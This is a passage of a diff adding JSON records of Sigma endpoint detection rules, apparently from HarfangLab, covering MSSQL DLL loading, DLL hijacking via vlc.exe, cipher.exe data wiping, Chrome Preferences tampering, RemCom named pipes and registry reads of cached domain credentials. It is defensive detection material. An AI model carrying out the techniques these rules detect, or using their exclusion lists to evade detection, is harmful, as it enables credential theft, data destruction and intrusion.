exclusion_openedge:\n        ImageLoaded|endswith: '\\OpenEdge\\bin\\\\*.dll'\n        Company: 'DataDirect Technologies'\n\n    exclusion_gip-cps:\n        ImageLoaded: '?:\\Program Files\\GIP-CPS\\CPSRev.dll'\n        Description: 'GIP-CPS Revocation Provider DLL'\n\n    exclusion_hpe:\n        ImageLoaded: '?:\\Program Files\\HPE\\StoreOnce\\isvsupport\\sql\\bin\\XP_HPStoreOnceForMSSQL.dll'\n\n    exclusion_zeromq:\n        ImageLoaded|endswith: '\\bin\\x64\\libzmq.dll'\n        Description: 'ZeroMQ lightweight messaging kernel'\n\n    exclusion_dotnet:\n        ImageLoaded: '?:\\Windows\\Microsoft.NET\\Framework64\\v*\\sort????????.dll'\n        Company: 'Microsoft Corporation'\n\n    exclusion_ibm:\n        ImageLoaded: '?:\\Program Files (x86)\\IBM\\Client Access\\Mri????\\cwb*.dll'\n\n    exclusion_secureworks:\n        ImageLoaded: '?:\\ProgramData\\SecureWorks\\TaegisAgent\\\\*\\TaegisInj.x64.dll'\n        Company: 'SecureWorks Corp.'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\n# level: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "40c091bb-8190-4465-8e20-0f42a47d58b6",
+  "rule_name": "Suspicious DLL Loaded by MSSQL",
+  "rule_description": "Detects the loading of a suspicious DLL by Microsoft SQL Server.\nAttackers able to execute arbitrary SQL commands in a Microsoft SQL Server are able to load CLR assemblies in the SQL server.\nOne of the methods allowing attackers to load such assemblies imply that they write their malicious assemblies in a DLL on disk.\nThis rule detects when a potentially malicious DLL is loaded by MSSQL.\nIt is recommended to investigate the loaded DLL for malicious contents, and if necessary, quarantine it.\nIt is also recommended to look for other malicious behavior on the host as well as potentially unauthorized authentications to the SQL server.\n",
+  "rule_creation_date": "2023-09-04",
+  "rule_modified_date": "2025-05-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.initial_access",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059",
+    "attack.t1190",
+    "attack.t1505.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "40cf0043-cffd-4fc7-8fbf-6f5a0707feb2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084636Z",
+  "creation_date": "2026-03-23T11:45:34.084638Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084643Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_vlc.yml",
+  "content": "title: DLL Hijacking via vlc.exe\nid: 40cf0043-cffd-4fc7-8fbf-6f5a0707feb2\ndescription: |\n    Detects potential Windows DLL Hijacking via vlc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/11/09\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'vlc.exe'\n        ProcessSignature: 'VideoLAN'\n        ImageLoaded|endswith:\n            - '\\libvlc.dll'\n            - '\\axvlc.dll'\n\n    filter_legitimate_image:\n        Image:\n            - '?:\\Program Files\\VideoLAN\\VLC\\\\*'\n            - '?:\\Program Files (x86)\\VideoLAN\\VLC\\\\*'\n            - '*\\VLCPortable\\App\\vlc\\\\*'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded:\n            - '?:\\Program Files\\VideoLAN\\VLC\\\\*'\n            - '?:\\Program Files (x86)\\VideoLAN\\VLC\\\\*'\n            - '*\\VLCPortable\\App\\vlc\\\\*'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'VideoLAN'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "40cf0043-cffd-4fc7-8fbf-6f5a0707feb2",
+  "rule_name": "DLL Hijacking via vlc.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via vlc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-11-09",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "40e1474c-b643-46fe-8410-1397a2af4f88",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088188Z",
+  "creation_date": "2026-03-23T11:45:34.088190Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088195Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.volexity.com/blog/2024/11/22/the-nearest-neighbor-attack-how-a-russian-apt-weaponized-nearby-wi-fi-networks-for-covert-access/",
+    "https://learn.microsoft.com/en-us/troubleshoot/windows-server/certificates-and-public-key-infrastructure-pki/use-cipher-to-overwrite-deleted-data",
+    "https://attack.mitre.org/techniques/T1070/004/"
+  ],
+  "name": "t1070_004_data_wiper_cipher.yml",
+  "content": "title: Data Erased via cipher.exe\nid: 40e1474c-b643-46fe-8410-1397a2af4f88\ndescription: |\n    Detects data erased using cipher.exe.\n    Cipher.exe is a built-in Windows binary primary used to encrypt/decrypt data from NTFS drive that can also be used to overwrite deleted data of a disk.\n    Adversaries may permanently delete files and artifacts left behind by the actions of their intrusion activity.\n    It is recommended to check if the process removing data has legitimate reason to to so.\nreferences:\n    - https://www.volexity.com/blog/2024/11/22/the-nearest-neighbor-attack-how-a-russian-apt-weaponized-nearby-wi-fi-networks-for-covert-access/\n    - https://learn.microsoft.com/en-us/troubleshoot/windows-server/certificates-and-public-key-infrastructure-pki/use-cipher-to-overwrite-deleted-data\n    - https://attack.mitre.org/techniques/T1070/004/\ndate: 2024/11/26\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.004\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Deletion\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        - ProcessImage|endswith: '\\cipher.exe'\n        - OriginalFileName: 'CIPHER.EXE'\n\n    exclusion_mindray:\n        ProcessParentImage:\n            - '?:\\Program Files (x86)\\Mindray\\eGateway\\CPAU.exe'\n            - '?:\\Program Files\\Mindray\\eGateway\\CPAU.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "40e1474c-b643-46fe-8410-1397a2af4f88",
+  "rule_name": "Data Erased via cipher.exe",
+  "rule_description": "Detects data erased using cipher.exe.\nCipher.exe is a built-in Windows binary primary used to encrypt/decrypt data from NTFS drive that can also be used to overwrite deleted data of a disk.\nAdversaries may permanently delete files and artifacts left behind by the actions of their intrusion activity.\nIt is recommended to check if the process removing data has legitimate reason to to so.\n",
+  "rule_creation_date": "2024-11-26",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "40e87c1e-7ced-4ba8-91fa-de32eb24ee6d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617633Z",
+  "creation_date": "2026-03-23T11:45:34.617635Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617639Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/en-us/security/blog/2024/10/17/new-macos-vulnerability-hm-surf-could-lead-to-unauthorized-data-access/",
+    "https://attack.mitre.org/techniques/T1539/",
+    "https://attack.mitre.org/techniques/T1555/003/"
+  ],
+  "name": "t1555_003_chrome_preferences_edited.yml",
+  "content": "title: Chrome-based Browser Preferences File Modified\nid: 40e87c1e-7ced-4ba8-91fa-de32eb24ee6d\ndescription: |\n    Detects a suspicious modification to the Preferences file of Chrome and Chrome-based browsers (Edge, Brave, etc.).\n    Adversaries may modify the browser's configuration in order to inject malicious ads during browsing.\n    It is recommended to verify if the process performing the write operation has legitimate reasons to do so.\nreferences:\n    - https://www.microsoft.com/en-us/security/blog/2024/10/17/new-macos-vulnerability-hm-surf-could-lead-to-unauthorized-data-access/\n    - https://attack.mitre.org/techniques/T1539/\n    - https://attack.mitre.org/techniques/T1555/003/\ndate: 2024/12/11\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1539\n    - attack.t1555.003\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.ConfigChange\n    - classification.macOS.Behavior.SensitiveInformation\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n    selection_files:\n        Kind: 'write'\n        Path|startswith:\n            - '/Users/*/Library/Application Support/Google/Chrome/'\n            - '/Users/*/Library/Application Support/BraveSoftware/Brave-Browser/'\n            - '/Users/*/Library/Application Support/Microsoft Edge/'\n            - '/Users/*/Library/Application Support/com.operasoftware.Opera/'\n            - '/Users/*/Library/Application Support/com.operasoftware.OperaGX/'\n            - '/Users/*/Library/Application Support/Vivaldi/'\n        Path|endswith:\n          - '/Preferences'\n          - '/Secure Preferences'\n        ProcessImage|contains: '?'\n\n    filter_chrome:\n        Image:\n            - '/Applications/Google Chrome*.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/*/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper'\n            - '/Applications/Google Chrome*.app/Contents/MacOS/Google Chrome'\n            - '/Volumes/Google Chrome/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/*/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper'\n            - '/Volumes/Google Chrome/Google Chrome.app/Contents/MacOS/Google Chrome'\n            - '/Users/*/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/*/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper'\n            - '/Users/*/Google Chrome.app/Contents/MacOS/Google Chrome'\n    filter_edge:\n        Image:\n            - '/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge'\n            - '/Applications/Microsoft Edge.app/Contents/Frameworks/Microsoft Edge Framework.framework/Versions/*/Helpers/Microsoft Edge Helper.app/Contents/MacOS/Microsoft Edge Helper'\n    exclusion_firefox:\n        Image:\n            - '*/Firefox*.app/Contents/MacOS/firefox'\n            - '*/Firefox*.app/Contents/MacOS/pingsender'\n            - '*/Firefox*.app/Contents/MacOS/plugin-container.app/Contents/MacOS/plugin-container'\n            - '*/Firefox*.app/Contents/MacOS/media-plugin-helper.app/Contents/MacOS/Firefox Media Plugin Helper'\n    exclusion_safari:\n        Image:\n            - '/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.BrowserDataImportingService.xpc/Contents/MacOS/com.apple.Safari.BrowserDataImportingService'\n            - '/System/Volumes/Preboot/Cryptexes/App/System/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.BrowserDataImportingService.xpc/Contents/MacOS/com.apple.Safari.BrowserDataImportingService'\n    exclusion_arc:\n        Image:\n            - '/Applications/Arc.app/Contents/MacOS/Arc'\n            - '/Applications/Arc.app/Contents/Frameworks/ArcCore.framework/Versions/A/Helpers/Arc Helper.app/Contents/MacOS/Arc Helper'\n    filter_brave:\n        Image:\n            - '/Applications/Brave Browser.app/Contents/MacOS/Brave Browser'\n            - '/Applications/Brave Browser.app/Contents/Frameworks/Brave Browser Framework.framework/Versions/*/Helpers/Brave Browser Helper.app/Contents/MacOS/Brave Browser Helper'\n    filter_opera:\n        Image:\n            - '/Applications/Opera.app/Contents/Frameworks/Opera Framework.framework/Versions/*/Helpers/Opera Helper.app/Contents/MacOS/Opera Helper'\n            - '/Applications/Opera.app/Contents/MacOS/Opera'\n            - '/Users/*/Applications/Opera.app/Contents/MacOS/Opera'\n            - '/Users/*/Applications/Opera.app/Contents/Frameworks/Opera Framework.framework/Versions/*/Helpers/Opera Helper.app/Contents/MacOS/Opera Helper'\n    exclusion_burp:\n        Image: '/usr/local/bin/burp'\n\n    exclusion_tor_browser:\n        Image:\n            - '/*/Tor Browser*.app/Contents/MacOS/Tor/tor'\n            - '/*/Tor Browser*.app/Contents/MacOS/firefox'\n            - '/*/Tor Browser*.app/Contents/MacOS/plugin-container.app/Contents/MacOS/plugin-container'\n\n    exclusion_librewolf:\n        Image:\n            - '/*/LibreWolf*.app/Contents/MacOS/librewolf'\n            - '/*/LibreWolf*.app/Contents/MacOS/plugin-container.app/Contents/MacOS/plugin-container'\n\n    exclusion_zen_browser:\n        Image:\n            - '/*/Zen Browser*.app/Contents/MacOS/zen'\n            - '/*/Zen Browser*.app/Contents/MacOS/plugin-container.app/Contents/MacOS/plugin-container'\n            - '/*/Zen Browser*.app/Contents/MacOS/updater.app/Contents/MacOS/org.mozilla.updater'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "40e87c1e-7ced-4ba8-91fa-de32eb24ee6d",
+  "rule_name": "Chrome-based Browser Preferences File Modified",
+  "rule_description": "Detects a suspicious modification to the Preferences file of Chrome and Chrome-based browsers (Edge, Brave, etc.).\nAdversaries may modify the browser's configuration in order to inject malicious ads during browsing.\nIt is recommended to verify if the process performing the write operation has legitimate reasons to do so.\n",
+  "rule_creation_date": "2024-12-11",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1539",
+    "attack.t1555.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "40eea7ed-b9cd-4cae-94cb-3ed700cef311",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090571Z",
+  "creation_date": "2026-03-23T11:45:34.090573Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090577Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_us/research/19/b/monero-miner-malware-uses-radmin-mimikatz-to-infect-propagate-via-vulnerability.html",
+    "https://attack.mitre.org/techniques/T1021/002/"
+  ],
+  "name": "t1021_002_radmin_named_pipe_connection.yml",
+  "content": "title: RemCom Named Pipe Connected\nid: 40eea7ed-b9cd-4cae-94cb-3ed700cef311\ndescription: |\n    Detects the connection to a Named Pipe pertaining to RemCom.\n    RemCom is a Remote Management tool; it was created with the goal of replacing psexec. It uses Named Pipes mainly to self-replicate through the network.\n    It is recommended to determine if this tool is expected in your environment and to investigate any commands launched by RemCom.\nreferences:\n    - https://www.trendmicro.com/en_us/research/19/b/monero-miner-malware-uses-radmin-mimikatz-to-infect-propagate-via-vulnerability.html\n    - https://attack.mitre.org/techniques/T1021/002/\ndate: 2022/07/08\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.002\n    - attack.execution\n    - attack.t1559\n    - attack.t1072\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.Tool.RemCom\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: named_pipe_connection\n    product: windows\ndetection:\n    selection:\n        PipeName|endswith: '\\RemCom_communicaton'\n\n    exclusion_system:\n        ProcessName: 'system'\n\n    # Exclusion for ADSelfService Plus\n    # https://pitstop.manageengine.com/portal/en/community/topic/adselfservice-plus-remcomsvc-exe-is-detected-as-a-threat\n    exclusion_adselfservice:\n        # ADSelfService Plus use two backslashes in the command line\n        ProcessCommandLine: '?:\\Windows\\\\\\\\RemComSvc.exe'\n        ProcessParentImage: '?:\\Windows\\system32\\services.exe'\n\n    # exclusion from the client side\n    exclusion_manageengine_client:\n         # ..\\bin\\RemCom.exe \\\\YYYYYY /user:xxxx\\Manage_Engine_AD /pwd:* wmic logicaldisk list brief /format:\"%WINDIR%\\System32\\wbem\\en-us\\csv\"\n        ProcessImage|endswith: '\\ManageEngine\\ADAudit Plus\\bin\\RemCom.exe'\n\n    exclusion_manageengine_bundle:\n        ProcessImage|endswith:\n            - 'UEMS_CentralServer\\bin\\RemCom.exe'\n            - '?:\\Windows\\SysWOW64\\RemComSvc.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'ZOHO Corporation Private Limited'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "40eea7ed-b9cd-4cae-94cb-3ed700cef311",
+  "rule_name": "RemCom Named Pipe Connected",
+  "rule_description": "Detects the connection to a Named Pipe pertaining to RemCom.\nRemCom is a Remote Management tool; it was created with the goal of replacing psexec. It uses Named Pipes mainly to self-replicate through the network.\nIt is recommended to determine if this tool is expected in your environment and to investigate any commands launched by RemCom.\n",
+  "rule_creation_date": "2022-07-08",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002",
+    "attack.t1072",
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "410c0f21-4dbe-47b1-b477-4065e2398153",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095935Z",
+  "creation_date": "2026-03-23T11:45:34.095937Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095942Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials",
+    "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-the-registry-7512674487f8",
+    "https://attack.mitre.org/techniques/T1003/005/"
+  ],
+  "name": "t1003_002_susp_registry_read_mscache.yml",
+  "content": "title: Cached Domain Credentials Read from Registry\nid: 410c0f21-4dbe-47b1-b477-4065e2398153\ndescription: |\n    Detects a suspicious read operation on registry keys storing Windows cache information related to domain accounts.\n    Adversaries may attempt to access cached domain credentials used to allow authentication in the event a domain controller is unavailable.\n    It is recommended to check whether the process accessing the registry keys has legitimate reasons to do it.\nreferences:\n    - https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials\n    - https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-the-registry-7512674487f8\n    - https://attack.mitre.org/techniques/T1003/005/\ndate: 2024/04/02\nmodified: 2025/04/02\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.005\n    - attack.discovery\n    - attack.t1012\n    - attack.initial_access\n    - attack.t1078.002\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'ReadValue'\n        TargetObject|startswith: 'HKLM\\SECURITY\\CACHE\\'\n        Image|contains: '?'\n\n    # does not contain actual hashes\n    filter_control:\n        TargetObject: 'HKLM\\SECURITY\\Cache\\NL$Control'\n\n    filter_lsass:\n        Image:\n            - '?:\\Windows\\System32\\lsass.exe'\n            - '\\Device\\VhdHardDisk{????????-????-????-????-????????????}\\Windows\\System32\\lsass.exe'\n            - '\\Device\\HarddiskVolume*\\Windows\\System32\\lsass.exe'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        ProcessSigned: 'true'\n\n    exclusion_defender:\n        ProcessGrandparentImage: '?:\\Program Files\\Windows Defender Advanced Threat Protection\\MsSense.exe'\n\n    exclusion_velociraptor:\n        ProcessImage: '?:\\Program Files\\Velociraptor\\Velociraptor.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "410c0f21-4dbe-47b1-b477-4065e2398153",
+  "rule_name": "Cached Domain Credentials Read from Registry",
+  "rule_description": "Detects a suspicious read operation on registry keys storing Windows cache information related to domain accounts.\nAdversaries may attempt to access cached domain credentials used to allow authentication in the event a domain controller is unavailable.\nIt is recommended to check whether the process accessing the registry keys has legitimate reasons to do it.\n",
+  "rule_creation_date": "2024-04-02",
+  "rule_modified_date": "2025-04-02",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.discovery",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.005",
+    "attack.t1012",
+    "attack.t1078.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "412822e9-7d4c-4c6a-a2b4-aa2ce0e788c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096427Z",
+  "creation_date": "2026-03-23T11:45:34.096429Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096433Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_telnet.yml",
